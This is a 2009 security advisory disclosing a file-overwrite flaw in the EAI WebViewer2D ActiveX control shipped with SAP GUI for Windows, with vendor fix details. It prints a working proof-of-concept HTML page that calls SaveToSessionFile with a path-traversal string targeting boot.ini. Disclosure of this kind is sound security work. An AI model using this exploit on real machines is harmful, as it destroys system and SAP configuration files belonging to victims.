Digital Security Research Group [DSecRG] Advisory #DSECRG-09-043 Application: EAI WebViewer2D (EnjoySAP, SAP GUI for Windows 6.4 and 7.1) Versions Affected: Tested on 7100.2.7.1038 PL 7 Vendor URL: http://SAP.com Bugs: insecure method, File owervriting Exploits: YES Reported: 02.07.2009 Vendor response: 02.07.2009 Date of Public Advisory: 28.09.2009 CVE-number: Author: Alexandr Polyakov Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com) Description *********** SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer2D ( file WebViewer2D.dll) Lib GUID: {A76CEBEE-7364-11D2-AA6B-00E02924C34E} which is contains insecure method that can overwrite any file in system. Details ******* Attacker can construct html page which call vulnerable function SaveToSessionFile from ActiveX component EAI WebViewer2D Example1: <HTML> <BODY> <object id=ctrl classid="clsid:{A76CEBEE-7364-11D2-AA6B-00E02924C34E}"></object> <SCRIPT> function Do_1t() { File = "../../../../../../../../../../../../boot.ini" ctrl.SaveToSessionFile(File) } </SCRIPT> <input language=JavaScript onclick=Do_1t() type=button value="P0c"> </BODY> </HTML> For example we can overwrite boot.ini file or sapgui.ini which contains all connectionbs to sap servers Fix Information *************** The security issue is addressed with SAP note 1372153. "the methods given in the message have been changed recently to immediately return and they do nothing." References ********** http://dsecrg.com/pages/vul/show.php?id=143 https://service.sap.com/sap/support/notes/1372153. About ***** Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsecrg [dot] com http://www.dsecrg.com Polyakov Alexandr Information Security Analyst ______________________ DIGITAL SECURITY phone: +7 812 703 1547 +7 812 430 9130 e-mail: a.polyakov@xxxxxxx www.dsec.ru ----------------------------------- This message and any attachment are confidential and may be privileged or otherwise protected from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure is strictly prohibited. If you have received this message in error, please notify the sender immediately either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding statements by e-mail unless otherwise agreed. -----------------------------------
